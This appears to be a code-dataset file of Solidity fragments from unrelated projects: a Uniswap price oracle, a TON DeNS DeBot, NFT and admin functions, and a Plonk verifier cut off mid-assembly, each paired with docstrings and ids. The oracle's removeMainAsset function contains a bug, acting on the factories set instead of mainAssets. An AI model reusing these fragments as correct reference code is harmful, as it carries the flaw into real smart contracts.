address token1 = IUniswapV2Pair(asset).token1();
(uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(asset)
.getReserves();
uint256 totalSupply = IUniswapV2Pair(asset).totalSupply();
if (totalSupply == 0) return 0;
uint256 amount0 = (amount * reserve0) / totalSupply;
uint256 amount1 = (amount * reserve1) / totalSupply;
return
getTokenValue(token0, amount0) + getTokenValue(token1, amount1);
} catch {}
// Finally handle the asset as if its a token
return getTokenValue(asset, amount);
}
function getTokenValue(address token, uint256 amount) internal view returns (uint256) {
// Finish once we've reached a stablecoin.
StableCoinInfo memory stableCoinInfo = stablecoins[token];
if (stableCoinInfo.set) {
return
stableCoinInfo.decimals == 18
? amount
: (amount * 1e18) / (10 ** stableCoinInfo.decimals);
}
// Take a shortcut if we have manually set the first pair for this token.
IUniswapV2Pair overridenPair = overridenPairForToken[token];
if (address(overridenPair) != address(0)) {
(address outToken,, uint256 outAmountNoSlippage) = overridenPair
.getOutTokenAndAmount(token, amount);
return getTokenValue(outToken, outAmountNoSlippage);
}
// Get discovery based token value
return getDiscoveredTokenValue(token, amount);
}
/// @dev Get pairs, weight by token amount, stop after $1000 is aggregated.
function getDiscoveredTokenValue(address token, uint256 amount) internal view returns (uint256) {
uint256 totalTVLIn = 0;
uint256 totalUSD = 0;
uint256 weightedOut = 0;
for (uint256 i = 0; i < factories.length(); i++) {
IUniswapV2Factory factory = IUniswapV2Factory(factories.at(i));
for (uint256 j = 0; j < mainAssets.length(); j++) {
address mainAsset = mainAssets.at(j);
if (address(token) == mainAsset) {
continue;
}
IUniswapV2Pair pair = IUniswapV2Pair(
factory.getPair(token, mainAsset)
);
if (address(pair) == address(0)) {
continue;
}
(uint256 reserveIn, address outToken, uint256 outAmount, uint256 outAmountNoSlippage) = pair
.getReserveInOutTokenAndAmount(token, amount);
uint256 usdValue = getTokenValue(outToken, outAmount);
uint256 usdValueNoSlippage = getTokenValue(outToken, outAmountNoSlippage);
weightedOut += usdValueNoSlippage * reserveIn; // without slippage
totalUSD += usdValue; // with slippage
totalTVLIn += reserveIn;
// Return early if we've iterated over 10x the input amount or we've iterated over an output amount over $10,000.
if (totalTVLIn >= amount * 10 || totalUSD >= 10000 * 1e18) {
return weightedOut / totalTVLIn;
}
}
}
return (totalTVLIn != 0) ? weightedOut / totalTVLIn : 0;
}
/// @notice calls getValue for all provided assets. Input parameters must be equal length.
function getValues(
address[] calldata assets,
uint256[] calldata amounts,
bytes[] calldata metadata
) external view override returns (uint256[] memory) {
uint256[] memory values = new uint256[](assets.length);
for (uint256 i = 0; i < assets.length; i++) {
values[i] = getValue(assets[i], amounts[i], metadata[i]);
}
return values;
}
/// @notice Returns the dollar value of the `amount` of one full unit (10**decimals) of `asset` at the current spot price. Returned value is in 1e18.
function getPrice(address asset, bytes calldata metadata)
public
view
override
returns (uint256)
{
uint256 decimals = IERC20Metadata(asset).decimals();
return getValue(asset, 10 ** decimals, metadata);
}
/// @notice Calls getPrice for all provided assets. Input parameters must be equal length.
function getPrices(address[] calldata assets, bytes[] calldata metadata)
external
view
override
returns (uint256[] memory)
{
uint256[] memory values = new uint256[](assets.length);
for (uint256 i = 0; i < assets.length; i++) {
uint256 decimals = IERC20Metadata(assets[i]).decimals();
values[i] = getValue(assets[i], 10 ** decimals, metadata[i]);
}
return values;
}
///** UTILITY FUNCTIONS *///
///** GOVERNANCE FUNCTIONS **///
///** Factories *///
function addFactory(address _factory) external onlyRole(SET_FACTORY_ROLE) {
require(!factories.contains(_factory), "!already added");
factories.add(_factory);
emit FactoryAdded(_factory);
}
function removeFactory(address _factory)
external
onlyRole(SET_FACTORY_ROLE)
{
require(factories.contains(_factory), "!exists");
factories.remove(_factory);
emit FactoryRemoved(_factory);
}
///** Main assets *///
function addMainAsset(address _mainAsset)
external
onlyRole(SET_ASSET_ROLE)
{
require(!mainAssets.contains(_mainAsset), "!already added");
require(stablecoins[_mainAsset].set || address(overridenPairForToken[_mainAsset]) != address(0), "!Add as stablecoin or set pair with stablecoin first.");
mainAssets.add(_mainAsset);
emit MainAssetAdded(_mainAsset);
}
function removeMainAsset(address _mainAsset)
external
onlyRole(SET_ASSET_ROLE)
{
require(factories.contains(_mainAsset), "!exists");
factories.remove(_mainAsset);
emit MainAssetRemoved(_mainAsset);
}
function setOverridenPair(address asset, IUniswapV2Pair pair)
external
onlyRole(SET_ASSET_ROLE)
{
overridenPairForToken[asset] = pair;
emit OverridenPairSet(asset, pair);
}
function setStablecoin(address stablecoin, bool set) external onlyRole(SET_ASSET_ROLE) {
stablecoins[stablecoin] = StableCoinInfo(
{
set: set,
decimals: IERC20Metadata(stablecoin).decimals()
}
);
emit StableCoinSet(stablecoin, set);
}
//** VIEW FUNCTIONS **//
function factoryAt(uint256 index) external view returns (address) {
return factories.at(index);
}
function factoryLength() external view returns (uint256) {
return factories.length();
}
function mainAssetAt(uint256 index) external view returns (address) {
return mainAssets.at(index);
}
function mainAssetLength() external view returns (uint256) {
return mainAssets.length();
}
//** EVENTS *//
event FactoryAdded(address indexed factory);
event FactoryRemoved(address indexed factory);
event MainAssetAdded(address indexed mainAsset);
event MainAssetRemoved(address indexed mainAsset);
event OverridenPairSet(address indexed asset, IUniswapV2Pair indexed pair);
event StableCoinSet(address indexed stablecoin, bool indexed set);
}
contract PairChecker {
// Fallback-safe pair checker, needs to be called using try-catch.
function isPair(address token) external view {
IUniswapV2Pair(token).getReserves();
}
}
|
Returns the dollar value of the `amount` of `asset` at the current spot price. Returned value is in 1e18. metadata Can contain metadata about non ERC20 assets, like the token id of erc1155.
|
function getValue(
address asset,
uint256 amount,
bytes calldata metadata
) external view override returns (uint256) {
return implementation.getValue(asset, amount, metadata);
}
| 2,498,461 |
pragma ton-solidity >=0.42.0;
pragma AbiHeader time;
pragma AbiHeader pubkey;
pragma AbiHeader expire;
//================================================================================
//
/// @title DNSDebot
/// @author Augual.Team
/// @notice Debot for Augual.DeNS service
//================================================================================
//
import "../contracts/DnsRecord.sol";
import "../contracts/DnsRecordDeployer.sol";
import "../interfaces/IDnsRecord.sol";
import "../interfaces/IDebot.sol";
import "../interfaces/IUpgradable.sol";
import "../interfaces/debot/address.sol";
import "../interfaces/debot/amount.sol";
import "../interfaces/debot/menu.sol";
import "../interfaces/debot/number.sol";
import "../interfaces/debot/sdk.sol";
import "../interfaces/debot/terminal.sol";
//================================================================================
//
interface IMsig
{
/// @dev Allows custodian if she is the only owner of multisig to transfer funds with minimal fees.
/// @param dest Transfer target address.
/// @param value Amount of funds to transfer.
/// @param bounce Bounce flag. Set true if need to transfer funds to existing account;
/// set false to create new account.
/// @param flags `sendmsg` flags.
/// @param payload Tree of cells used as body of outbound internal message.
function sendTransaction(
address dest,
uint128 value,
bool bounce,
uint8 flags,
TvmCell payload) external view;
}
//================================================================================
//
contract DnsDebot is Debot, Upgradable, DnsFunctionsCommon
{
uint256 public _magicNumber;
TvmCell _domainCode;
TvmCell _deployerCode;
address msigAddress;
string ctx_name;
address ctx_domain;
DnsWhois ctx_whois;
int8 ctx_accState;
uint8 ctx_segments;
address ctx_parent;
optional(uint256) emptyPk;
uint128 constant ATTACH_VALUE = 0.5 ton;
//========================================
//
constructor() public
{
tvm.accept();
_magicNumber = 0;
}
//========================================
//
function setDomainCode(TvmCell newDomainCode) public {
require(msg.pubkey() == tvm.pubkey(), 100);
tvm.accept();
_domainCode = newDomainCode;
}
//========================================
//
function setDeployerCode(TvmCell newDeployerCode) public {
require(msg.pubkey() == tvm.pubkey(), 100);
tvm.accept();
_deployerCode = newDeployerCode;
}
//========================================
//
function getRequiredInterfaces() public pure returns (uint256[] interfaces)
{
return [Terminal.ID, AddressInput.ID, NumberInput.ID, AmountInput.ID, Menu.ID];
}
//========================================
//
function getDebotInfo() public functionID(0xDEB) view returns(string name, string version, string publisher, string key, string author,
address support, string hello, string language, string dabi, bytes icon)
{
name = "DeNS DeBot (Augual.TEAM)";
version = "0.2.0";
publisher = "Augual.TEAM";
key = "DeNS DeBot from Augual.TEAM";
author = "Augual.TEAM";
support = addressZero;
hello = "Welcome to DeNS DeBot!";
language = "en";
dabi = m_debotAbi.hasValue() ? m_debotAbi.get() : "";
icon = m_icon.hasValue() ? m_icon.get() : "";
}
//========================================
/// @notice Define DeBot version and title here.
function getVersion() public override returns (string name, uint24 semver)
{
(name, semver) = ("DnsDebot", _version(0, 2, 0));
}
function _version(uint24 major, uint24 minor, uint24 fix) private pure inline returns (uint24)
{
return (major << 16) | (minor << 8) | (fix);
}
//========================================
// Implementation of Upgradable
function onCodeUpgrade() internal override
{
tvm.resetStorage();
}
//========================================
/// @notice Entry point function for DeBot.
function start() public override
{
mainMenu(0);
}
//========================================
//
function mainMenu(uint32 index) public
{
_eraseCtx();
index = 0; // shut a warning
if(_domainCode.toSlice().empty() || _deployerCode.toSlice().empty())
{
Terminal.print(0, "Domain is being upgraded.\nPlease come back in a minute.\nSorry for inconvenience.");
}
else
{
Terminal.input(tvm.functionId(onPathEnter), "Enter DeNS name:", false);
}
}
//========================================
//
function onMsigEnter(address value) public
{
msigAddress = value;
Terminal.print(0, "Please enter amount of TONs to attach to the Claim message;");
Terminal.print(0, "NOTE: additional 1.5 TON will be added to cover all the fees, the change will be returned back to Multisig.");
if(ctx_accState == -1 || ctx_accState == 0)
{
AmountInput.get(tvm.functionId(onMsigEnter_2), "Enter amount: ", 9, 0, 999999999999999);
}
else if(now > ctx_whois.dtExpires)
{
AmountInput.get(tvm.functionId(onClaimExpired), "Enter amount: ", 9, 0, 999999999999999);
}
}
function onMsigEnter_2(int256 value) public
{
uint128 totalValue = 1.5 ton + uint128(value);
TvmCell body = tvm.encodeBody(DnsDebot.deploy, ctx_name, msigAddress);
IMsig(msigAddress).sendTransaction{
abiVer: 2,
extMsg: true,
sign: true,
callbackId: 0,
onErrorId: tvm.functionId(onError),
time: uint32(now),
expire: 0,
pubkey: 0x00
}(address(this),
totalValue,
false,
1,
body);
Terminal.print(0, "Claim requested!");
Terminal.print(0, "Please give it ~15 seconds to process and then reload whois to get latest domain information.\n");
onPathEnter(ctx_name);
}
//========================================
//
function deploy(string domainName, address ownerAddress) external returns (address)
{
require(msg.value >= 1.3 ton, ERROR_NOT_ENOUGH_MONEY);
tvm.rawReserve(0.1 ton, 0);
//(, TvmCell image) = _calculateDomainAddress(domainName);
//new DnsRecord{value: 0, flag: 128, stateInit: image}(ownerAddress, true);
_magicNumber += 1;
(, TvmCell image) = _calculateDeployerAddress(domainName, msg.sender, _magicNumber);
new DnsRecordDeployer{value: 0, flag: 128, stateInit: image}(ownerAddress);
}
//========================================
//
function onDeploySuccess(address value) public
{
address domainAddr = value;
Terminal.print(0, format("Domain address: 0:{:064x}", domainAddr.value));
mainMenu(0);
}
//========================================
//
function onError(uint32 sdkError, uint32 exitCode) public
{
if (exitCode == ERROR_MESSAGE_SENDER_IS_NOT_MY_OWNER) { Terminal.print(0, "Failed! You're not the owner of this domain."); }
else if (exitCode == ERROR_REQUIRE_INTERNAL_MESSAGE_WITH_VALUE) { Terminal.print(0, "Failed! No value attached."); }
else if (exitCode == ERROR_DOMAIN_IS_EXPIRED) { Terminal.print(0, "Failed! Domain is expired."); }
else if (exitCode == ERROR_DOMAIN_IS_NOT_EXPIRED) { Terminal.print(0, "Failed! Domain is not expired."); }
else if (exitCode == ERROR_CAN_NOT_PROLONGATE_YET) { Terminal.print(0, "Failed! Can't prolong yet."); }
else if (exitCode == ERROR_NOT_ENOUGH_MONEY) { Terminal.print(0, "Failed! Not enough value attached to cover domain price."); }
else
{
Terminal.print(0, format("Failed! SDK Error: {}. Exit Code: {}", sdkError, exitCode));
}
mainMenu(0);
}
//========================================
//
function onPathEnter(string value) public
{
bool isValid = _validateDomainName(value);
if(!isValid)
{
Terminal.print(0, format("Domain \"{}\" is not valid! Please, follow these rules: \n* Domain can have up to 4 segments;\n* Each segment can have only numbers, dash \"-\" and lowercase letters;\n* Segment separator is shash \"/\";", value));
mainMenu(0);
return;
}
(ctx_domain, ) = _calculateDomainAddress(value);
ctx_name = value;
// Get parent information
(string[] segments, string parentName) = _parseDomainName(value);
ctx_segments = uint8(segments.length);
(ctx_parent, ) = _calculateDomainAddress(parentName);
Terminal.print(0, format("Domain address: 0:{:064x}", ctx_domain.value));
// TODO: add parent registration type (and price if needed) to show here
Sdk.getAccountType(tvm.functionId(saveAccState), ctx_domain);
}
//========================================
//
function saveAccState(int8 acc_type) public
{
ctx_accState = acc_type;
onAddressCheck(0);
}
//========================================
//
function onAddressCheck(uint32 index) public
{
index = 0;
//ctx_accState = acc_type;
if (ctx_accState == -1 || ctx_accState == 0)
{
Terminal.print(0, format("Domain ({}) is FREE and can be deployed.", ctx_name));
MenuItem[] mi;
mi.push(MenuItem("Deploy and claim domain", "", tvm.functionId(onFree) ));
mi.push(MenuItem("<- Refresh Whois", "", tvm.functionId(onRefreshWhois)));
mi.push(MenuItem("<- Enter another DeNS name", "", tvm.functionId(mainMenu) ));
Menu.select("Enter your choice: ", "", mi);
}
else if (ctx_accState == 1)
{
Terminal.print(0, format("Domain ({}) is ACTIVE.", ctx_name));
IDnsRecord(ctx_domain).getWhois{
abiVer: 2,
extMsg: true,
sign: false,
time: uint64(now),
expire: 0,
pubkey: emptyPk,
callbackId: tvm.functionId(onWhoIs),
onErrorId: tvm.functionId(onError)
}();
}
else if (ctx_accState == 2)
{
Terminal.print(0, format("Domain ({}) is FROZEN.", ctx_name));
mainMenu(0);
}
}
//========================================
//
function onFree(uint32 index) public
{
index = 0; // shut a warning
AddressInput.get(tvm.functionId(onMsigEnter), "Enter owner's Multisig Wallet address: ");
}
//========================================
//
function onWhoIs(DnsWhois _whoisInfo) public
{
ctx_whois = _whoisInfo;
string regType;
if (ctx_whois.registrationType == REG_TYPE.FFA) { regType = "FFA"; } //
else if (ctx_whois.registrationType == REG_TYPE.DENY) { regType = "DENY"; } //
else if (ctx_whois.registrationType == REG_TYPE.OWNER) { regType = "OWNER"; } //
else if (ctx_whois.registrationType == REG_TYPE.MONEY) { regType = "MONEY"; } //
else { regType = "OTHER"; } //
Terminal.print(0, format("Domain Name: {}\nEndpoint Address: 0:{:064x}\nDomain Comment: {}\nOwner Address: 0:{:064x}\nCreation Date: {}\nExpiration Date: {}\nLast Prolong Date: {}\nRegistration Type: {}\nRegistration Price: {:t}",
ctx_whois.domainName,
ctx_whois.endpointAddress.value,
ctx_whois.comment,
ctx_whois.ownerAddress.value,
ctx_whois.dtCreated,
ctx_whois.dtExpires,
ctx_whois.dtLastProlongation,
regType,
ctx_whois.registrationPrice));
if(_isExpired())
{
MenuItem[] miExpired;
miExpired.push(MenuItem("Claim domain", "", tvm.functionId(onExpired) ));
miExpired.push(MenuItem("<- Refresh Whois", "", tvm.functionId(onRefreshWhois)));
miExpired.push(MenuItem("<- Enter another DeNS name", "", tvm.functionId(mainMenu) ));
Menu.select(format("Domain ({}) EXPIRED and can be claimed.\nEnter your choice: ", ctx_name), "", miExpired);
}
else
{
MenuItem[] miActive;
miActive.push(MenuItem("Manage domain", "", tvm.functionId(onActive) ));
miActive.push(MenuItem("<- Refresh Whois", "", tvm.functionId(onRefreshWhois)));
miActive.push(MenuItem("<- Enter another DeNS name", "", tvm.functionId(mainMenu) ));
Menu.select("Enter your choice: ", "", miActive);
}
}
//========================================
//
function onExpired(uint32 index) public
{
index = 0;
AddressInput.get(tvm.functionId(onMsigEnter), "Enter owner's Multisig Wallet address: ");
}
//========================================
//
function onActive(uint32 index) public
{
index = 0;
MenuItem[] mi;
if (_canProlongate()) {
mi.push(MenuItem("Prolongate domain", "", tvm.functionId(onManageProlong)));
}
mi.push(MenuItem("Change Endpoint", "", tvm.functionId(onManageEndpoint)));
mi.push(MenuItem("Change Owner", "", tvm.functionId(onManageOwner) ));
mi.push(MenuItem("Change Registration Type", "", tvm.functionId(onManageRegType) ));
mi.push(MenuItem("Change Registration Price", "", tvm.functionId(onManageRegPrice)));
mi.push(MenuItem("Change Comment", "", tvm.functionId(onManageComment) ));
mi.push(MenuItem("<- Refresh Whois", "", tvm.functionId(onAddressCheck) ));
mi.push(MenuItem("<- Enter another DeNS name", "", tvm.functionId(mainMenu) ));
Menu.select("Enter your choice: ", "", mi);
}
//========================================
//
function onRefreshWhois (uint32 index) public { index = 0; onPathEnter(ctx_name); } // Full refresh, refreshes account state AND whois, is needed after deployment
function onManageEndpoint(uint32 index) public { index = 0; AddressInput.get(tvm.functionId(onChangeEndpoint), "Enter new endpoint: " ); }
function onManageOwner (uint32 index) public { index = 0; AddressInput.get(tvm.functionId(onChangeOwner), "Enter new owner: " ); }
function onManageRegPrice(uint32 index) public { index = 0; AmountInput.get (tvm.functionId(onChangePrice), "Enter new price: ", 9, 1, 999999999999999); }
function onManageComment (uint32 index) public { index = 0; Terminal.input (tvm.functionId(onChangeComment), "Enter new comment: ", false ); }
function onManageProlong(uint32 index) public
{
index = 0;
TvmCell body = tvm.encodeBody(IDnsRecord.prolongate);
_sendTransact(ctx_whois.ownerAddress, ctx_domain, body, ATTACH_VALUE);
// reload whois and show it one more time
onAddressCheck(0);
}
function onManageRegType(uint32 index) public
{
index = 0;
MenuItem[] mi;
mi.push(MenuItem("FFA (Free-for-All)", "Anyone can register subdomains without limitations.", tvm.functionId(onManageRegTypeFFA)));
mi.push(MenuItem("MONEY (Payment)", "Anyone can register subdomain with enough payment attached (specified by Registration Price) that will be sent to owner of this parent domain.", tvm.functionId(onManageRegTypeMONEY)));
mi.push(MenuItem("OWNER (Owner only)", "Only owner can register subdomains. They can be transferred later by Change Owner procedure.", tvm.functionId(onManageRegTypeOWNER)));
mi.push(MenuItem("DENY (Prohibited)", "No one can register subdomains.", tvm.functionId(onManageRegTypeDENY)));
mi.push(MenuItem("<- Refresh Whois", "", tvm.functionId(onAddressCheck) ));
mi.push(MenuItem("<- Enter another DeNS name", "", tvm.functionId(mainMenu) ));
Menu.select("Enter your choice of rules for subdomains registration: ", "", mi);
}
function onManageRegTypeFFA(uint32 index) public
{
index = 0;
onChangeRegType(REG_TYPE.FFA);
}
function onManageRegTypeMONEY(uint32 index) public
{
index = 0;
onChangeRegType(REG_TYPE.MONEY);
}
function onManageRegTypeOWNER(uint32 index) public
{
index = 0;
onChangeRegType(REG_TYPE.OWNER);
}
function onManageRegTypeDENY(uint32 index) public
{
index = 0;
onChangeRegType(REG_TYPE.DENY);
}
function onChangeRegType(REG_TYPE regType) public
{
TvmCell body = tvm.encodeBody(IDnsRecord.changeRegistrationType, regType);
_sendTransact(ctx_whois.ownerAddress, ctx_domain, body, ATTACH_VALUE);
// reload whois and show it one more time
onAddressCheck(0);
}
//========================================
//
function onChangeEndpoint(address value) public
{
TvmCell body = tvm.encodeBody(IDnsRecord.changeEndpointAddress, value);
_sendTransact(ctx_whois.ownerAddress, ctx_domain, body, ATTACH_VALUE);
// reload whois and show it one more time
onAddressCheck(0);
}
//========================================
//
function onChangeOwner(address value) public
{
TvmCell body = tvm.encodeBody(IDnsRecord.changeOwner, value);
_sendTransact(ctx_whois.ownerAddress, ctx_domain, body, ATTACH_VALUE);
// reload whois and show it one more time
onAddressCheck(0);
}
//========================================
//
function onChangePrice(int256 value) public
{
TvmCell body = tvm.encodeBody(IDnsRecord.changeRegistrationPrice, uint128(value));
_sendTransact(ctx_whois.ownerAddress, ctx_domain, body, ATTACH_VALUE);
// reload whois and show it one more time
onAddressCheck(0);
}
//========================================
//
function onChangeComment(string value) public
{
TvmCell body = tvm.encodeBody(IDnsRecord.changeComment, value);
_sendTransact(ctx_whois.ownerAddress, ctx_domain, body, ATTACH_VALUE);
// reload whois and show it one more time
onAddressCheck(0);
}
//========================================
//
function onClaimExpired(int256 value) public
{
TvmCell body = tvm.encodeBody(IDnsRecord.claimExpired, msigAddress, true);
_sendTransact(msigAddress, ctx_domain, body, uint128(value) + ATTACH_VALUE);
// reload whois and show it one more time
onAddressCheck(0);
}
//========================================
//
function _calculateDomainAddress(string domainName) internal view returns (address, TvmCell)
{
TvmCell stateInit = tvm.buildStateInit({
contr: DnsRecord,
varInit: {
_domainName: domainName,
_domainCode: _domainCode
},
code: _domainCode
});
return (address(tvm.hash(stateInit)), stateInit);
}
//========================================
//
function _calculateDeployerAddress(string domainName, address multisigAddress, uint256 magicNumber) internal view returns (address, TvmCell)
{
TvmCell stateInit = tvm.buildStateInit({
contr: DnsRecordDeployer,
varInit: {
_domainName: domainName,
_domainCode: _domainCode,
_msigAddress: multisigAddress,
_magicNumber: magicNumber
},
code: _deployerCode
});
return (address(tvm.hash(stateInit)), stateInit);
}
//========================================
//
function _eraseCtx() internal
{
msigAddress = addressZero;
ctx_domain = addressZero;
ctx_name = "";
ctx_accState = 0;
ctx_segments = 0;
ctx_parent = addressZero;
delete ctx_whois; // reset custom struct without specifying all the members
}
//========================================
//
function _sendTransact(address msigAddr, address dest, TvmCell payload, uint128 grams) internal pure
{
IMsig(msigAddr).sendTransaction{
abiVer: 2,
extMsg: true,
sign: true,
callbackId: 0,
onErrorId: tvm.functionId(onError),
time: uint32(now),
expire: 0,
pubkey: 0x00
}(dest,
grams,
false,
1,
payload);
}
function _canProlongate() internal view returns (bool) { return (now <= ctx_whois.dtExpires &&
now >= ctx_whois.dtExpires - tenDays); }
function _isExpired() internal view returns (bool) { return now > ctx_whois.dtExpires; }
//
}
//================================================================================
//
|
========================================
|
function setDomainCode(TvmCell newDomainCode) public {
require(msg.pubkey() == tvm.pubkey(), 100);
tvm.accept();
_domainCode = newDomainCode;
}
| 13,073,287 |
./partial_match/80001/0x0CEFA63316da9aFa99d4A539654D4cd31eAF2A49/sources/contracts/nft/NFT.sol
|
@inheritdoc ERC721Upgradeable
|
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return _baseURI();
}
| 8,802,342 |
./full_match/5/0xBE77D57D04B85F7d9741d8149675D9bA7358f5A0/sources/contracts/AdminACLV1.sol
|
Adds address to payment approvers set. Only callable by superAdmin. Address must not already be in set. _approver NFT core address to be registered./
|
function addPaymentApprover(address _approver) external {
require(msg.sender == superAdmin, "Only superAdmin");
require(
_paymentApprovers.add(_approver),
"AdminACLV1: Already registered"
);
emit PaymentApproverAdded(_approver);
}
| 11,613,926 |
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
import {Bn254Crypto} from './cryptography/Bn254Crypto.sol';
import {PolynomialEval} from './cryptography/PolynomialEval.sol';
import {Types} from './cryptography/Types.sol';
import {VerificationKeys} from './keys/VerificationKeys.sol';
import {Transcript} from './cryptography/Transcript.sol';
import {IVerifier} from '../interfaces/IVerifier.sol';
/**
* @title Turbo Plonk proof verification contract
* @dev Top level Plonk proof verification contract, which allows Plonk proof to be verified
*
* Copyright 2020 Spilsbury Holdings Ltd
*
* Licensed under the GNU General Public License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
contract TurboVerifier is IVerifier {
using Bn254Crypto for Types.G1Point;
using Bn254Crypto for Types.G2Point;
using Transcript for Transcript.TranscriptData;
/**
* @dev Verify a Plonk proof
* @param - array of serialized proof data
* @param rollup_size - number of transactions in the rollup
*/
function verify(bytes calldata, uint256 rollup_size) external override {
// extract the correct rollup verification key
Types.VerificationKey memory vk = VerificationKeys.getKeyById(rollup_size);
uint256 num_public_inputs = vk.num_inputs;
// parse the input calldata and construct a Proof object
Types.Proof memory decoded_proof = deserialize_proof(num_public_inputs, vk);
Transcript.TranscriptData memory transcript;
transcript.generate_initial_challenge(vk.circuit_size, vk.num_inputs);
// reconstruct the beta, gamma, alpha and zeta challenges
Types.ChallengeTranscript memory challenges;
transcript.generate_beta_gamma_challenges(challenges, vk.num_inputs);
transcript.generate_alpha_challenge(challenges, decoded_proof.Z);
transcript.generate_zeta_challenge(challenges, decoded_proof.T1, decoded_proof.T2, decoded_proof.T3, decoded_proof.T4);
/**
* Compute all inverses that will be needed throughout the program here.
*
* This is an efficiency improvement - it allows us to make use of the batch inversion Montgomery trick,
* which allows all inversions to be replaced with one inversion operation, at the expense of a few
* additional multiplications
**/
(uint256 quotient_eval, uint256 L1) = evalaute_field_operations(decoded_proof, vk, challenges);
decoded_proof.quotient_polynomial_eval = quotient_eval;
// reconstruct the nu and u challenges
transcript.generate_nu_challenges(challenges, decoded_proof.quotient_polynomial_eval, vk.num_inputs);
transcript.generate_separator_challenge(challenges, decoded_proof.PI_Z, decoded_proof.PI_Z_OMEGA);
//reset 'alpha base'
challenges.alpha_base = challenges.alpha;
Types.G1Point memory linearised_contribution = PolynomialEval.compute_linearised_opening_terms(
challenges,
L1,
vk,
decoded_proof
);
Types.G1Point memory batch_opening_commitment = PolynomialEval.compute_batch_opening_commitment(
challenges,
vk,
linearised_contribution,
decoded_proof
);
uint256 batch_evaluation_g1_scalar = PolynomialEval.compute_batch_evaluation_scalar_multiplier(
decoded_proof,
challenges
);
bool result = perform_pairing(
batch_opening_commitment,
batch_evaluation_g1_scalar,
challenges,
decoded_proof,
vk
);
require(result, 'Proof failed');
}
/**
* @dev Compute partial state of the verifier, specifically: public input delta evaluation, zero polynomial
* evaluation, the lagrange evaluations and the quotient polynomial evaluations
*
* Note: This uses the batch inversion Montgomery trick to reduce the number of
* inversions, and therefore the number of calls to the bn128 modular exponentiation
* precompile.
*
* Specifically, each function call: compute_public_input_delta() etc. at some point needs to invert a
* value to calculate a denominator in a fraction. Instead of performing this inversion as it is needed, we
* instead 'save up' the denominator calculations. The inputs to this are returned from the various functions
* and then we perform all necessary inversions in one go at the end of `evalaute_field_operations()`. This
* gives us the various variables that need to be returned.
*
* @param decoded_proof - deserialised proof
* @param vk - verification key
* @param challenges - all challenges (alpha, beta, gamma, zeta, nu[NUM_NU_CHALLENGES], u) stored in
* ChallengeTranscript struct form
* @return quotient polynomial evaluation (field element) and lagrange 1 evaluation (field element)
*/
function evalaute_field_operations(
Types.Proof memory decoded_proof,
Types.VerificationKey memory vk,
Types.ChallengeTranscript memory challenges
) internal view returns (uint256, uint256) {
uint256 public_input_delta;
uint256 zero_polynomial_eval;
uint256 l_start;
uint256 l_end;
{
(uint256 public_input_numerator, uint256 public_input_denominator) = PolynomialEval.compute_public_input_delta(
challenges,
vk
);
(
uint256 vanishing_numerator,
uint256 vanishing_denominator,
uint256 lagrange_numerator,
uint256 l_start_denominator,
uint256 l_end_denominator
) = PolynomialEval.compute_lagrange_and_vanishing_fractions(vk, challenges.zeta);
(zero_polynomial_eval, public_input_delta, l_start, l_end) = PolynomialEval.compute_batch_inversions(
public_input_numerator,
public_input_denominator,
vanishing_numerator,
vanishing_denominator,
lagrange_numerator,
l_start_denominator,
l_end_denominator
);
}
uint256 quotient_eval = PolynomialEval.compute_quotient_polynomial(
zero_polynomial_eval,
public_input_delta,
challenges,
l_start,
l_end,
decoded_proof
);
return (quotient_eval, l_start);
}
/**
* @dev Perform the pairing check
* @param batch_opening_commitment - G1 point representing the calculated batch opening commitment
* @param batch_evaluation_g1_scalar - uint256 representing the batch evaluation scalar multiplier to be applied to the G1 generator point
* @param challenges - all challenges (alpha, beta, gamma, zeta, nu[NUM_NU_CHALLENGES], u) stored in
* ChallengeTranscript struct form
* @param vk - verification key
* @param decoded_proof - deserialised proof
* @return bool specifying whether the pairing check was successful
*/
function perform_pairing(
Types.G1Point memory batch_opening_commitment,
uint256 batch_evaluation_g1_scalar,
Types.ChallengeTranscript memory challenges,
Types.Proof memory decoded_proof,
Types.VerificationKey memory vk
) internal view returns (bool) {
uint256 u = challenges.u;
bool success;
uint256 p = Bn254Crypto.r_mod;
Types.G1Point memory rhs;
Types.G1Point memory PI_Z_OMEGA = decoded_proof.PI_Z_OMEGA;
Types.G1Point memory PI_Z = decoded_proof.PI_Z;
PI_Z.validateG1Point();
PI_Z_OMEGA.validateG1Point();
// rhs = zeta.[PI_Z] + u.zeta.omega.[PI_Z_OMEGA] + [batch_opening_commitment] - batch_evaluation_g1_scalar.[1]
// scope this block to prevent stack depth errors
{
uint256 zeta = challenges.zeta;
uint256 pi_z_omega_scalar = vk.work_root;
assembly {
pi_z_omega_scalar := mulmod(pi_z_omega_scalar, zeta, p)
pi_z_omega_scalar := mulmod(pi_z_omega_scalar, u, p)
batch_evaluation_g1_scalar := sub(p, batch_evaluation_g1_scalar)
// store accumulator point at mptr
let mPtr := mload(0x40)
// set accumulator = batch_opening_commitment
mstore(mPtr, mload(batch_opening_commitment))
mstore(add(mPtr, 0x20), mload(add(batch_opening_commitment, 0x20)))
// compute zeta.[PI_Z] and add into accumulator
mstore(add(mPtr, 0x40), mload(PI_Z))
mstore(add(mPtr, 0x60), mload(add(PI_Z, 0x20)))
mstore(add(mPtr, 0x80), zeta)
success := staticcall(gas(), 7, add(mPtr, 0x40), 0x60, add(mPtr, 0x40), 0x40)
success := and(success, staticcall(gas(), 6, mPtr, 0x80, mPtr, 0x40))
// compute u.zeta.omega.[PI_Z_OMEGA] and add into accumulator
mstore(add(mPtr, 0x40), mload(PI_Z_OMEGA))
mstore(add(mPtr, 0x60), mload(add(PI_Z_OMEGA, 0x20)))
mstore(add(mPtr, 0x80), pi_z_omega_scalar)
success := and(success, staticcall(gas(), 7, add(mPtr, 0x40), 0x60, add(mPtr, 0x40), 0x40))
success := and(success, staticcall(gas(), 6, mPtr, 0x80, mPtr, 0x40))
// compute -batch_evaluation_g1_scalar.[1]
